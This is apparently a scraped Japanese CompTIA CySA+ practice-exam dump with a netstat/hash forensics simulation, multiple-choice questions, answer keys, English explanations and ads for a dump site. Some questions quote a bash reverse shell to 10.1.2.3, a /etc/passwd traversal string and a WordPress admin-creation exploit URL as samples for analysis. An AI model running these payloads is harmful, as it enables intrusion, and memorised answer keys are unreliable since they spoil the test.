TCP	192.168.10.21:8447	66.207.110.49:https	ESTABLISHED	2677
[svchost.exe]				
TCP			ESTABLISHED	3467
TCP			ESTABLISHED	1722
TCP			TIME_WAIT	0
TCP			TIME_WAIT	0
TCP			TIME_WAIT	0

Select command

netstat -bo

tasklist

net stop

arp -a

nslookup

taskkill /FI

cmd

ipconfig /reset

Select command

Select the command that generated the output in tab 2:

Select command

Identify the file responsible for the malicious behavior:

- ☐ calendar.dat
- ☐ sftp.exe
- ☐ explorer.exe
- ☐ svchost.exe
- ☐ cmd.exe
- ☐ calc.exe
- ☐ users.txt

1

2

3

4

Active Connections

Proto	Local address	Foreign address	State	PID
TCP	0.0.0.0:22	0.0.0.0:0	LISTENING	1000
TCP	0.0.0.0:23	0.0.0.0:0	LISTENING	1235
TCP	0.0.0.0:443	0.0.0.0:0	LISTENING	1466
TCP	0.0.0.0:80	0.0.0.0:0	LISTENING	1566
TCP	127.0.0.1:1960	127.0.0.1:22	ESTABLISHED	2001
[sftp.exe]				
TCP	192.168.10.21:38666	41.21.18.102:22	ESTABLISHED	3918
[sftp.exe]				
TCP	192.168.10.21:8447	66.207.110.49:https	ESTABLISHED	2677
[svchost.exe]				
TCP	192.168.10.21:55356	31.10.100.7:https	ESTABLISHED	3467
[cmd.exe]				
TCP	192.168.10.21:37654	192.168.10.37:http	ESTABLISHED	1722
TCP	192.168.10.21:55357	32.111.16.37:22	TIME_WAIT	0
[cmd.exe]				
TCP			TIME_WAIT	0
TCP			TIME_WAIT	0

Select command

net stop
tasklist
ipconfig /reset
netstat -bo
arp -a
nslookup
taskkill /FI
cmd

Select command ✓

Identify the file responsible for the malicious behavior:

- | | |
|------------------------------------|---------------------------------|
| ☐ calendar.dat | ☐ cmd.exe |
| ☐ sftp.exe | ☐ calc.exe |
| ☐ explorer.exe | ☐ users.txt |
| ☐ svchost.exe | |

1

2

3

4

Image Name	PID	Session Name	Session#	Mem Usage
Cmd.exe	3467	Console	0	18,020 K
sftp.exe	2001	Console	0	17 K
sftp.exe	3918	Console	0	1,788 K
svchost.exe	2677	Console	0	188 K
calc.exe	1677	Console	0	11 K
notepad.exe		Console	0	0 K

Select the command that generated the output in tab 1:

Select command



Select the command that generated the output in tab 2:

Select command



Identify the file responsible for the malicious behavior:

- ☐ calendar.dat
- ☐ sftp.exe
- ☐ explorer.exe
- ☐ svchost.exe
- ☐ cmd.exe
- ☐ calc.exe
- ☐ users.txt

1

2

3

4

```
> Get-ChildItem | Get-Filehash -Algorithm MD5
```

Algorithm	Hash	File
MD5	372ab227fd5ea779c211a1451881d1e1	cmd.exe
MD5	173ab22a5d5ea87bb212c14588aad4c2	calc.exe
MD5	412aba2efd5ea779c2112b451881affe7	explorer.exe
MD5	df6ab147fd5ecb79c331a146f8dad199	users.txt
MD5	212ac257fd5ea7f9c337ba22bab1d1f5	calendar.dat
MD5	10ad132ffed0217c6c3854a22bab215c6	sftp.exe
MD5	33c141f5ed107bcdd39952d2ba111401	svchost.exe

Select the command that generated the output in tab 1:

Select command



Select the command that generated the output in tab 2:

Select command



Identify the file responsible for the malicious behavior:

- | | |
|------------------------------------|---------------------------------|
| ☐ calendar.dat | ☐ cmd.exe |
| ☐ sftp.exe | ☐ calc.exe |
| ☐ explorer.exe | ☐ users.txt |
| ☐ svchost.exe | |

1

2

3

4

The baseline hash signatures are:

Hash	File
a2cdef1c445d3890cc3456789058cd21	cmd.exe
555a1bba5d5e6eebb21fe12388ab3221	calc.exe
412aba2efd5ea769c2112b451881affe7	explorer.exe
90521cc7fd5ea7f9c337ba210eedd1c1	users.txt
3ab21266fd00a7cbc3855a22bab213ba	calendar.dat
10ad132ffed0217c6c3854a22bab215c6	sftp.exe
33c141f5ed107bcd39952d2ba111401	svchost.exe

Select the command that generated the output in tab 1:

Select command



Select the command that generated the output in tab 2:

Select command



Identify the file responsible for the malicious behavior:

- | | |
|------------------------------------|---------------------------------|
| ☐ calendar.dat | ☐ cmd.exe |
| ☐ sftp.exe | ☐ calc.exe |
| ☐ explorer.exe | ☐ users.txt |
| ☐ svchost.exe | |

CompTIA®

CompTIA

Proto	Local address	Foreign address	State	PID
TCP	0.0.0.0:22	0.0.0.0:0	LISTENING	1000
TCP	0.0.0.0:23	0.0.0.0:0	LISTENING	1235
TCP	0.0.0.0:443	0.0.0.0:0	LISTENING	1466
TCP	0.0.0.0:80	0.0.0.0:0	LISTENING	1566
TCP	127.0.0.1:1960	127.0.0.1:22	ESTABLISHED	2001
[sftp.exe]				
TCP	192.168.10.21:38666	41.21.18.102:22	ESTABLISHED	3916
[sftp.exe]				
TCP	192.168.10.21:8447	66.207.110.49:https	ESTABLISHED	2677
[svchost.exe]				
TCP	192.168.10.21:55356	31.10.100.7:https	ESTABLISHED	3467
[cmd.exe]				
TCP	192.168.10.21:37654	192.168.10.37:http	ESTABLISHED	1722
TCP	192.168.10.21:55357	32.111.16.37:22	TIME_WAIT	0
[notepad.exe]				
TCP	192.168.10.21:52743	32.111.16.37:22	TIME_WAIT	0
TCP	192.168.10.21:56751	32.111.16.37:22	TIME_WAIT	0

Select the command that generated the output in tab 1:

Select command

netstat -bo

tasklist

net stop

arp -a

nslookup

taskkill /F

cmd

ipconfig /reset

Identify the file responsible for the malicious behavior:

☐ calendar.dat

☐ sftp.exe

☐ explorer.exe

☐ svchost.exe

☐ cmd.exe

☐ calc.exe

☐ users.txt

正解:

1
2
3
4

Active Connections

Proto	Local address	Foreign address	State	PID
TCP	0.0.0.0:22	0.0.0.0:0	LISTENING	1000
TCP	0.0.0.0:23	0.0.0.0:0	LISTENING	1235
TCP	0.0.0.0:443	0.0.0.0:0	LISTENING	1466
TCP	0.0.0.0:80	0.0.0.0:0	LISTENING	1566
TCP	127.0.0.1:1960	127.0.0.1:22	ESTABLISHED	2001
[sftp.exe]				
TCP	192.168.10.21:38666	41.21.18.102:22	ESTABLISHED	3916
[sftp.exe]				
TCP	192.168.10.21:8447	66.207.110.49:https	ESTABLISHED	2677
[svchost.exe]				
TCP	192.168.10.21:55356	31.10.100.7:https	ESTABLISHED	3467
[cmd.exe]				
TCP	192.168.10.21:37654	192.168.10.37:http	ESTABLISHED	1722
TCP	192.168.10.21:55357	32.111.16.37:22	TIME_WAIT	0
[notepad.exe]				
TCP	192.168.10.21:52743	32.111.16.37:22	TIME_WAIT	0
TCP	192.168.10.21:56751	32.111.16.37:22	TIME_WAIT	0

Select the command that generated the output in tab 1:

Select command

netstat -bo

tasklist

net stop

arp -a

nslookup

taskkill /f

cmd

ipconfig /reset

Identify the file responsible for the malicious behavior:

☐ calendar.dat
☐ sftp.exe
☐ explorer.exe
☐ svchost.exe

☒ cmd.exe
☐ calc.exe
☐ users.txt

Select the command that generated the output in tab 2:

Select command

netstat -bo

tasklist

net stop

arp -a

nslookup

taskkill /f

cmd

ipconfig /reset

Explanation:

Select the command that generated the output in tab 1:

* netstat -bo

Select the command that generated the output in tab 2:

* tasklist

Identify the file responsible for the malicious behavior:

* cmd.exe

Select the command that generated the output in tab 1: The output in tab 1 displays active network connections, which can be generated using the netstat command with options to display the owning process ID.

Select the command that generated the output in tab 1:

* netstat -bo

Select the command that generated the output in tab 2: The output in tab 2 lists the running processes with their PIDs and memory usage, which can be generated using the tasklist command.

Select the command that generated the output in tab 2:

* tasklist

Identify the file responsible for the malicious behavior: To identify the malicious file, we compare the hashes of the current files against the baseline hashes. From the provided data:

* The hash for cmd.exe in the current state (tab 3) is 372ab227fd5ea779c211a1451881d1e1.

* The baseline hash for cmd.exe (tab 4) is a2cdef1c445d3890cc3456789058cd21.

Since these hashes do not match, cmd.exe is the file responsible for the malicious behavior.

質問: 102

セキュリティ プログラムは、セキュリティ制御を SIEM に統合することにより、MTTR で 30% の改善を達成することができました。アナリストはツール間を行き来する必要がなくなりました。セキュリティ プログラムの動作を最もよく説明しているものは次のうちどれですか？

A. データの強化

B. セキュリティ コントロール プレーン

C. 脅威フィードの組み合わせ

D. 1 枚のガラス

正解: ([正解を表示します](#))

A single pane of glass is a term that describes a unified view or interface that integrates multiple tools or data sources into one dashboard or console. A single pane of glass can help improve security operations by providing visibility, correlation, analysis, and alerting capabilities across various security controls and systems. A single pane of glass can also help reduce complexity, improve efficiency, and enhance decision making for security analysts. In this case, a security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM, which provides a single pane of glass for security operations. Official References: <https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack>

質問: 103

地理的に多様な従業員と動的 IP を抱える企業は、ネットワーク トラフィックを削減して脆弱性スキャン方法を実装したいと考えています。この要件を最もよく満たすものは次のうちどれですか？

A. 外部

B. エージェントベース

C. 認証なし

D. 認証済み

正解: ([正解を表示します](#))

Agent-based vulnerability scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console. Agent-based vulnerability scanning can reduce network traffic, as the scans are performed locally and only the results are transmitted over the network. Agent-based vulnerability scanning can also provide more accurate and up-to-date results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.

質問: 104

MITRE ATT&CK フレームワークを最もよく説明しているのは次のどれですか？

- A. アプリケーションのセキュリティをテストするための包括的な方法を提供します。
- B. 脅威インテリジェンスの共有と、対策および緩和戦略の開発を提供します。
- C. 攻撃者が活動する領域を強調表示することで、敵の活動を特定して阻止するのに役立ちます。
- D. 脅威を追跡して理解する、進化するオープンソース プロジェクトです。
- E. 侵入を明確に定義された一連のフェーズに分割します。

正解: [\(正解を表示します\)](#)

The MITRE ATT&CK framework is a knowledge base of cybercriminals' adversarial behaviors based on cybercriminals' known tactics, techniques and procedures (TTPs). It helps security teams model, detect, prevent and fight cybersecurity threats by simulating cyberattacks, creating security policies, controls and incident response plans, and sharing information with other security professionals. It is an open-source project that evolves with input from a global community of cybersecurity professionals¹. References: What is the MITRE ATT&CK Framework? | IBM

質問: 105

セキュリティアナリストが、ホストベースのIDSログに以下の不審なエントリを発見しました。

```
bash -i > & /dev/tcp/10.1.2.3/8080 0 > & 1
```

アナリストは、アクティビティが継続中かどうかを最も正確に確認するために、以下のシェルスクリプトのうちどれを使用すべきでしょうか？

- A. `#!/bin/bashnc 10.1.2.3 8080 -vv > dev/null & & echo "悪意のあるアクティビティ" || echo " OK "`
- B. `#!/bin/bashps -fea | grep 8080 > dev/null & & echo " 悪意のあるアクティビティ " || echo " OK "`
- C. `#!/bin/bashls /opt/tcp/10.1.2.3/8080 > dev/null & & echo " 悪意のあるアクティビティ " || echo " OK "`
- D. `#!/bin/bashnetstat -antp |grep 8080 > dev/null & & echo "悪意のあるアクティビティ" || echo " OK "`

正解: [\(正解を表示します\)](#)

The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The shell script option D uses the netstat command to check if there is any active connection to that IP address and port, and prints "Malicious activity" if there is, or "OK" otherwise. This is the most accurate way to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives.

ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident Response, page 339.Reverse Shell Cheat Sheet, Bash section.

質問: 106

ある組織でデータ漏洩が発生し、その結果、P11が一般に公開されました。教訓レビューの過程で、委員会は外部報告の責任者と報告期限に関する矛盾点を特定しました。報告に関する問題に対処するのに最適な行動は次のうちどれですか？

- A. インシデントの種類ごとに、特定のSLAと封じ込めアクションを示すプレイブックを作成する
- B. 連邦法、規制遵守要件、組織の方針を調査し、特定の報告SLAを文書化する
- C. 内部関係者に加えて、外部への通知とインシデント報告が必要なセキュリティインシデントを定義する
- D. セキュリティチームと関係者内で特定の役割と責任を割り当て、タスクを効率化する

正解: **B** ([コメントを發表する](#))

Researching federal laws, regulatory compliance requirements, and organizational policies to document specific reporting SLAs is the best action to address the reporting issue. Reporting SLAs are service level agreements that specify the time frame and the format for notifying the relevant authorities and the affected individuals of a data breach. Reporting SLAs may vary depending on the type and severity of the breach, the type and location of the data, the industry and jurisdiction of the organization, and the internal policies of the organization. By researching and documenting the reporting SLAs for different scenarios, the organization can ensure that it complies with the legal and ethical obligations of data breach notification, and avoid

any penalties, fines, or lawsuits that may result from failing to report a breach in a timely and appropriate manner¹². References: When and how to report a breach: Data breach reporting best practices, Incident and Breach Management

有効的な**CS0-003J**問題集はJPNTTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: **107**

会社所有・管理のノートパソコンにマルウェア感染の疑いがある。会社は集中型セキュリティログシステムを導入している。以下のログソースのうち、マルウェア感染を確認できるのはどれか？

- A. XDRログ
- B. ファイアウォールログ
- C. IDSログ
- D. MFAログ

正解: ([正解を表示します](#))

XDR logs will confirm the malware infection because XDR is a system that collects and analyzes data from multiple sources, such as endpoints, networks, cloud applications, and email security, to detect and respond to advanced threats¹². XDR can provide a comprehensive view of the attack chain and the context of the malware infection. Firewall logs, IDS logs, and MFA logs are not sufficient to confirm the malware infection, as they only provide partial or indirect information about the network traffic, intrusion attempts, or user authentication. References: Cybersecurity Analyst+ - CompTIA, XDR: definition and benefits for MSPs| WatchGuard Blog, Extended detection and response - Wikipedia

質問: **108**

サイバー キル チェーンの方法論を最も正確に説明しているのは次のどれですか？

- A. イベントを相関させて攻撃者の TTP を確認するために使用されます。
- B. 攻撃者の横方向の動きを把握し、プロセスを停止するために使用されます。
- C. 侵入時に攻撃者が一般的にどのように行動するか、各段階でどのような行動を取るべきかを明確にモデル化します。
- D. 攻撃者、使用された技術、およびターゲットとの関係を決定するための明確な道筋を示します。

正解: ([正解を表示します](#))

The Cyber Kill Chain methodology provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage. It is divided into seven stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives. It helps network defenders understand and prevent cyberattacks by identifying the attacker's objectives and tactics. References: The Cyber Kill Chain: The Seven Steps of a Cyberattack

質問: **109**

アナリストは、企業ネットワークの外側にある IP アドレスが、外部に面した資産全体のネットワークおよび脆弱性スキャンを実行するために使用されていることに気づきました。アナリストが目撃している攻撃フレームワークの次のステップはどれですか？

- A. 搾取
- B. 偵察
- C. コマンドとコントロール
- D. 目標に対するアクション

正解: **B** ([コメントを发表する](#))

Reconnaissance is the first stage in the Cyber Kill Chain and involves researching potential targets before carrying out any penetration testing. The reconnaissance stage may include identifying potential targets, finding their vulnerabilities, discovering which third parties are connected to them (and what data they can access), and exploring existing entry points as well as finding new ones. Reconnaissance can take place both online and offline. In this case, an analyst finds that an IP address outside of the company network is being used to run network and vulnerability scans across external-facing assets. This indicates that the analyst is witnessing reconnaissance activity by an attacker. Official References: <https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html>

質問: 110

セキュリティ アナリストは、ネットワーク ルーティング上の異常を特定しようとしています。アナリストが目的を最も正確に達成するためにシェル スクリプトで利用できる関数は次のうちどれですか？

- A. `function x() { info=$(geoiplookup $1) && echo "$1 | $info" }`
- B. `function x() { info=$(ping -c 1 $1 | awk -F "/" 'END{print $5}') && echo "$1 | $info" }`
- C. `function x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1}' ).origin.asn. cymru.com TXT +short) && echo "$1 | $info" }`
- D. `function x() { info=$(traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $info" }`

正解: ([正解を表示します](#))

The function that can be used on a shell script to identify anomalies on the network routing most accurately is:

```
function x() { info=(dig(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1}' ).origin.asn.cymru.com TXT +short) & & echo "$1 | $info" }
```

This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address. The function then prints the IP address and the ASN information, which can help identify any routing anomalies or inconsistencies

質問: 111

セキュリティアナリストは、出張中の従業員の異常なアカウントアクティビティを見つけるために、新しい監視制御を実装したいと考えています。次のどの手法が期待どおりの結果をもたらすでしょうか。

- A. 悪意のあるコマンド解釈
- B. ネットワーク監視
- C. ユーザー行動分析
- D. SSL 検査

正解: **C** ([コメントを发表する](#))

User behavior analysis (UBA) is the most effective method for detecting abnormal account activity.

* UBA uses machine learning and behavioral analytics to identify patterns in how users interact with systems. If an employee suddenly logs in from an unusual location or accesses resources outside of their normal behavior, it raises an alert.

* Option A (Malicious command interpretation) is focused on malware analysis, not user behavior.

* Option B (Network monitoring) detects anomalies at the network level, but does not specifically focus on user behaviors.

* Option D (SSL Inspection) is useful for decrypting encrypted traffic, but it does not analyze user activity patterns.

質問: 112

セキュリティアナリストは、顧客のネットワーク上でマルウェアが制御不能なほど拡散しているというインシデントケースを受け取りました。アナリストはどのように対応すべきか迷っています。設定済みのEDRは、マルウェアのサンプルとそのシグネチャを自動的に取得しました。テレメトリに基づいてマルウェアの種類を特定するために、アナリストは次に次のうちどれを実行すべきでしょうか？

- A. オープンソースの脅威インテリジェンスとシグネチャを相互参照します。
- B. EDR を設定してフルスキャンを実行します。
- C. マルウェアをサンドボックス環境に移行します。
- D. 影響を受けるシステムにログインして、netstat を実行します。

正解: **A** ([コメントを发表する](#))

The signature of the malware is a unique identifier that can be used to compare it with known malware samples and their behaviors. Open-source threat intelligence sources provide information on various types of malware, their indicators of compromise, and their mitigation strategies. By cross-referencing the signature with these sources, the analyst can determine the type of malware and its telemetry. The other options are not relevant for this purpose: configuring the EDR to perform a full scan may not provide additional information on the malware type; transferring the malware to a sandbox environment may expose the analyst to further risks; logging in to the affected systems and running netstat may not reveal the malware activity. References: According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition¹, one of the objectives for the exam is to "use appropriate tools and methods to manage, prioritize and respond to attacks and vulnerabilities". The book also covers the usage and syntax of EDR, a tool used for endpoint security, in chapter 5. Specifically, it explains the meaning and function of malware signatures and how they can be used to identify malware types¹, page 203. It also discusses the benefits and challenges of using open-source threat intelligence sources to enhance security analysis¹, page 211. Therefore, this is a reliable source to verify the answer to the question.

質問: 113

セキュリティアナリストがクラウド環境のセキュリティ評価を行っています。評価を実行すると、以下の出力が生成されます。

* 認証エラー

* 設定された場所にインスタンスが見つかりませんでした

アナリストは、この問題を解決するために、次のうちどれを使用すべきでしょうか？

- A. module_name を実行し、< module_name > を実行します。
- B. --session < session_name > および --module-args= " < arg1 > "
- C. set_regions < region1 > および set_key
- D. --whoami と --data <サービス名>

正解: ([正解を表示します](#))

The error messages point to two core issues common in cloud assessments:

* Authentication error # credentials/API access not correctly configured (keys/tokens/CLI auth).

* Instance not found on preset location # the tool is looking in the wrong region/location (cloud resources are region-scoped).

Cloud infrastructure assessment tools typically require API-based access and allow configuration to include

/exclude regions. The All-in-One guide explains that cloud tools like Scout Suite and Prowler work via cloud APIs and require configuration to enable programmatic access, and Prowler specifically can include/exclude regions:

* Exact extract (All-in-One Exam Guide): Scout Suite "works by managing the interactions with cloud assets via the platform API..."

* Exact extract (All-in-One Exam Guide): "Prowler offers a fair amount of configuration to allow the tool programmatic access via the Amazon API..."

* Exact extract (All-in-One Exam Guide): Prowler "provides the option to... include or exclude certain AWS services or regions..." These extracts support why the fix is to set the correct region and ensure valid authentication/keys, which maps directly to Option C (set_regions ... and set_key).

Why the other options don't match the errors:

* A / B look like generic module/session execution flags (more like exploitation frameworks), not "fix authentication + wrong region."

* D (--whoami, --data) is identity/data querying; it doesn't correct credential setup or region selection.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* All-in-One CS0-003: Scout Suite uses cloud provider APIs; Prowler requires API access configuration and supports region selection/exclusion

質問: 114

アナリストは、不正行為の疑いのある従業員のシステムから取得したハード ドライブのイメージを作成しています。アナリストは、証拠ドライブの初期ハッシュがイメージ化されたコピーの結果のハッシュと一致しないことに気付きました。調査結果が矛盾する理由として最も適切なのは次のどれですか。

- A. 証拠ドライブの保管チェーンが維持されていませんでした。
- B. 証拠ドライブを押収する前に法的許可が得られませんでした。
- C. イメージ化されたドライブのデータ整合性を検証できませんでした。
- D. 書き込みブロッカーなしで証拠ドライブのイメージングが実行されました。

正解: [\(正解を表示します\)](#)

In digital forensics, a write blocker is a critical tool used to prevent any modifications to the source drive during imaging. When a forensic image is created, it should be an exact bit-for-bit copy of the original evidence. If a write blocker is not used, system processes or other unintended changes can alter the contents of the drive, leading to a hash mismatch between the original and the image copy.

Chain of custody (Option A) ensures proper documentation of who accessed the evidence, but it does not directly affect the hash values.

Legal authorization (Option B) is necessary but unrelated to the technical integrity of the image.

Data integrity verification (Option C) is part of the process, but in this scenario, the failure to maintain integrity stems from the lack of a write blocker.

Thus, the correct answer is D, as using a write blocker would have prevented any unintended changes to the data.

質問: 115

セキュリティ アナリストが Web サーバーのログを確認しているときに、次の行を発見しました:

次の悪意のあるアクティビティのうちどれが試みられましたか?

- A. コマンドインジェクション
- B. XML インジェクション
- C. サーバー側のリクエストフォージェリ
- D. クロスサイトスクリプティング

正解: **D** ([コメントを发表する](#))

XSS is a type of web application attack that exploits the vulnerability of a web server or browser to execute malicious scripts or commands on the client-side. XSS attackers inject malicious code, such as JavaScript, VBScript, HTML, or CSS, into a web page or application that is viewed by other users. The malicious code can then access or manipulate the user's session, cookies, browser history, or personal information, or perform actions on behalf of the user, such as stealing credentials, redirecting to phishing sites, or installing malware¹² The line in the web server log shows an example of an XSS attack using VBScript. The attacker tried to insert an tag with a malicious SRC attribute that contains a VBScript code. The VBScript code is intended to display a message box with the text "test" when the user views the web page or application. This is a simple and harmless example of XSS, but it could be used to test the vulnerability of the web server or browser, or to launch more sophisticated and harmful attacks³

質問: 116

インシデント対応者は、ネットワーク トラフィックを通じてバイナリ ファイルを回復することができました。バイナリ ファイルは、異常な動作をするマシンでも見つかりました。バイナリ ファイルの目的を理解するために実行できる可能性が高いプロセスは次のどれですか。

- A. ファイルのデバッグ
- B. トラフィック分析
- C. リバースエンジニアリング

D. マシン分離

正解: **C** ([コメントを發表する](#))

Reverse engineering is the process of analyzing a binary file to understand its structure, functionality, and behavior. It can help to identify the purpose of the binary file, such as whether it is a malicious program, a legitimate application, or a library. Reverse engineering can involve various techniques, such as disassembling, decompiling, debugging, or extracting strings or resources from the binary file¹²³. Reverse engineering can also help to find vulnerabilities, backdoors, or hidden features in the binary file

質問: 117

セキュリティアナリストは、DNSログの定期的なレビュー中に、ホストXがajd8ekthj.xyzのようなランダムな英数字文字列を含むドメインに対して頻繁にDNSリクエストを行っていることに気づきました。IPSの異常検知ルールはこれらのドメインをブロックしています。この動作は、ホストに新しいソフトウェアをインストールした直後に始まりました。ホストXが侵害されているかどうかを判断するために、アナリストはまず次のうちどれを行うべきでしょうか？

- A. DNSリクエストは設定ミスのあるソフトウェアアップデートの一部であるため、ドメインを許可します。
- B. ソフトウェアのインストールログにエラーがないか確認し、ソフトウェアを再インストールしてください。
- C. ホストからのすべての送信接続をブロックして、それ以上のDNSクエリを防止します。
- D. 脅威インテリジェンスを使用して、照会されたドメインが正規のサイトに関連付けられているかどうかを確認します。

正解: **D** ([コメントを發表する](#))

The correct answer is D because random-looking DNS requests can indicate malware using a domain generation algorithm (DGA) for command-and-control, but the analyst should first validate the suspicious domains using threat intelligence or reputation sources. The scenario asks what should be done first to determine whether Host X has been compromised, so enrichment and validation of the domain indicators is the best first step.

Exact supporting extract: the All-in-One CySA+ guide explains that malware may use DGAs for command- and-control exchanges and that high-entropy domains often look like gibberish to humans. It also warns that DGAs may have legitimate uses in content delivery networks, so additional analysis is needed to reduce false positives.

The same guide defines a DGA as a threat actor technique used to generate domain names rapidly using seemingly random but predictable processes so malware can eventually connect with command-and-control infrastructure.

Why the other options are incorrect:

A is incorrect because allowing the domains before validation may permit command-and-control or data exfiltration.

B is incorrect because reinstalling the software does not determine whether the DNS domains are malicious or legitimate.

C is incorrect because blocking all outbound connections is a containment action, not the best first investigative step.

D is correct because threat intelligence helps validate whether the suspicious domains are known malicious infrastructure or legitimate generated domains.

質問: 118

セキュリティアナリストがネットワーク上の脆弱性スキャンを実行しています。アナリストはスキャナアプライアンスをインストールし、スキャンするサブネットを構成して、ネットワークのスキャンを開始します。次のうちどれ

この構成で実行されたスキャンでは欠落しますか？

- A. オペレーティングシステムのバージョン
- B. レジストリキーの値
- C. ポートを開く
- D. IPアドレス

正解: ([正解を表示します](#))

Registry key values would be missing from a scan performed with this configuration, as the scanner appliance would not have access to the Windows Registry of the scanned systems. The Windows Registry is a database that stores configuration settings and options for the operating system and installed applications. To scan the Registry, the scanner would need to have credentials to log in to the systems and run a local agent or script.

The other items would not be missing from the scan, as they can be detected by the scanner appliance without credentials. Operating system version can be identified by analyzing service banners or fingerprinting techniques. Open ports can be discovered by performing a port scan or sending probes to common ports. IP address can be obtained by resolving the hostname or using network discovery tools. <https://attack.mitre.org/techniques/T1112/>

質問: 119

アナリストは、次の Web サーバー ログ エントリを確認します。

%2E%2E/%2E%2E/%2ES2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd

攻撃や悪意のある試みは発見されていません。何が起こったのかを最もよく表しているのは次のうちどれですか？

- A. 機密ファイルから情報を収集するために、SQL インジェクション クエリが実行されました。
- B. 機密ファイルにアクセスできるようにするために、PHP インジェクションが利用されました。
- C. IPS が完全にエンコードされた文字列を検出するのを防ぐために、Base64 が使用されました。
- D. さらなる偵察のために機密ファイルを取得するためにディレクトリトラバーサルが実行されました。

正解: ([正解を表示します](#))

Comprehensive and Detailed Step-by-Step Explanation:Directory traversal, also known as path traversal, is an attack that allows attackers to access restricted directories and execute commands outside the web server's root directory. The %2E encoding corresponds to a dot (.) in ASCII, and %2E%2E resolves to ../. The log entries indicate attempts to navigate directories upward to access sensitive files like /etc/passwd. Since no malicious activity was flagged, it is inferred this was either an unsuccessful or reconnaissance attempt.

References:

CompTIA CySA+ Study Guide (Chapter 3: Malicious Activity, Page 79)

CompTIA CySA+ Objectives (Domain 1.2 - Indicators of Potentially Malicious Activity)

質問: 120

SOC アナリストに現実的なトレーニングを提供するための最適な方法はどれですか？

- A. フィッシング評価
- B. OpenVAS
- C. 攻撃シミュレーション
- D. 飛翔
- E. ハニーポット

正解: ([正解を表示します](#))

Attack simulations provide realistic, hands-on scenarios that mirror true incidents, allowing SOC analysts to practice detection, analysis, and response skills under real-world pressure. These simulations are crucial for developing and reinforcing SOC procedures and incident workflows.

Phishing assessments (A) are targeted, limited training.

OpenVAS (B) is a vulnerability scanner, not a training tool.

SOAR (D) is a response automation tool.

Honeypots (E) help observe attacker behavior, but aren't training-focused.

Reference:

CS0-003 Objectives 3.3 - Incident Response Training

Mya Heath All-in-One - Chapter 14: Post-Incident Activities and Training

質問: 121

新しい SOC マネージャーは、改善を行うために、前回のテーブルトップ演習の長所と短所に関する調査結果を確認しました。SOC マネージャーは、プロセスを改善するために次のどれを活用すべきでしょうか。

- A. 最新の監査レポート
- B. インシデント対応プレイブック
- C. インシデント対応計画
- D. 教訓の記録

正解: **D** ([コメントを发表する](#))

The lessons-learned register is an essential document that captures insights and feedback from past exercises or incidents, highlighting what went well and what did not. By utilizing this register, the SOC manager can identify specific areas for improvement and develop actionable steps to enhance future response efforts.

According to CompTIA's CySA+ and Security+ guidance, lessons learned from tabletop exercises are crucial for iterative improvements in an incident response plan. Options A, B, and C are useful resources, but the lessons-learned register specifically focuses on reflection and improvement, which is the primary objective in this context.

有効的な**CS0-003J**問題集はJPNTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: **122**

企業は、サードパーティから侵入テストレポートの概要を受け取ります。レポートの概要は、プロキシに適用する必要があるいくつかのパッチがあることを示しています。プロキシはラック内にあり、実行されていません。

会社が新しいものに交換したため、使用されました。プロキシ上の脆弱性の CVE スコアは 9.8 です。企業がこのプロキシに関して従うべきベスト プラクティスは次のうちどれですか？

- A. プロキシはそのままにします。
- B. プロキシを廃止します。
- C. プロキシをクラウドに移行します。
- D. プロキシにパッチを適用します

正解: **B** ([コメントを发表する](#))

The best practice that the company should follow with this proxy is to decommission the proxy.

Decommissioning the proxy involves removing or disposing of the proxy from the rack and the network, as well as deleting or wiping any data or configuration on the proxy. Decommissioning the proxy can help eliminate the vulnerability on the proxy, as well as reduce the attack surface, complexity, or cost of maintaining the network. Decommissioning the proxy can also free up space or resources for other devices or systems that are in use or needed by the company.

質問: **123**

次のどれを使用すると、さまざまなアプリケーションや内部アプリケーションで異なるパスワードを使用する必要がなくなりますか？

- A. CASB
- B. シングルサインオン
- C. PAM
- D. MFA

正解: ([正解を表示します](#))

Single Sign-On (SSO) allows users to log in with a single ID and password to access multiple applications. It eliminates the need for different passwords for various internal applications, streamlining the authentication process.

質問: 124

アナリストは、悪意があることが知られている IP アドレスが複数の Web サーバーのゼロデイ脆弱性を悪用しようとしたことを示す IPS イベント通知を SIEM から受け取りました。エクスプロイトには次のスニペットが含まれていました。

/wp-json/trx_addons/V2/get/sc_layout?sc=wp_insert_user&role=administrator このスニペットで表される攻撃を軽減するために最も効果的なコントロールは次のうちどれですか？

- A. ユーザーの作成を管理者のみに制限します。
- B. レイアウトの作成を管理者のみに制限します。
- C. ディレクトリ trx_addons をすべてのユーザーに対して読み取り専用を設定します。
